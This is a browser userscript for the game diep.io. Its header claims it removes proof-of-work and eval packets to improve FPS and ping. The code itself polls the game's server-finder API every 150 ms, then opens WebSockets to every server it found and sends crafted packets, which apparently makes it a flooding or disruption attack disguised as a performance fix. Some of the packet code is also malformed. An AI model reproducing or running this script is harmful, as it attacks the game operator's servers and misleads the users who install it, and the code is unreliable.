- // ==UserScript==
- // @name PoW Remover
- // @namespace http://tampermonkey.net/
- // @version 1.0.2
- // @description Removes PoW and Eval Packet in order to make FPS and Ping better.
- // @author 샤담읻어
- // @match *://diep.io/*
- // @grant none
- // ==/UserScript==
- (function() {
- 'use strict';
-
-
- const GAMEMODES = ['ffa', 'survival', 'teams', '4teams', 'dom', 'tag', 'maze', 'sandbox'];
- const REGIONS = ['vultr-la', 'vultr-miami', 'vultr-amsterdam', 'vultr-sydney', 'vultr-singapore'];
- let SERVER_IDS = {};
- let servers = [];
-
- GAMEMODES.forEach(function(gamemode) {
- REGIONS.forEach(function(region) {
- if (!SERVER_IDS[gamemode])
- SERVER_IDS[gamemode] = {};
-
- SERVER_IDS[gamemode][region] = [];
- });
- });
-
- setInterval(function() {
- GAMEMODES.forEach(function(gamemode) {
- fetch(`https://api.n.m28.io/endpoint/diepio-${gamemode}/findEach`)
- .then(r => r.json())
- .then(function(body) {
- REGIONS.forEach(function(region) {
- let serverID = body.servers[region].id;
- if (!SERVER_IDS[gamemode][region].includes(serverID)) {
- SERVER_IDS[gamemode][region].push(serverID);
- servers.push(serverID);
- }
- });
- })
- .catch(err => {});
- });
- }, 150);
-
- setTimeout(function() {
- const sockets = [];
- servers.forEach(function(id) {
- const socket = new WebSocket(`wss://${id}.s.m28n.net`);
- sockets.push(socket);
-
- socket.onopen = function() {
- console.log('A socket is ready');
- socket.send(new Uint8Array([0, 32, 43, 101, 57, 57, 48, 50, 49, 101, 55, 102, 99, 99, 98, 51, 102, 54, 53, 52, 101, 50, 50, 48, 102, 54, 55, 54, 54, 56, 51, 55, 57, 97, 102, 98, 48, 102, 52, 99, 99, 55, 55, 0, 0, 0, 0]));
- socket.send(new Uint8Array([11, '', '']));
- socket.send(new Uint8Array([13, {
- varuint: function(to, what, args) {
- return [to, what, args, 0];
- to.apply(what, args);
- },
- }, 0]));
- };
- });
- }, 10000);
- })();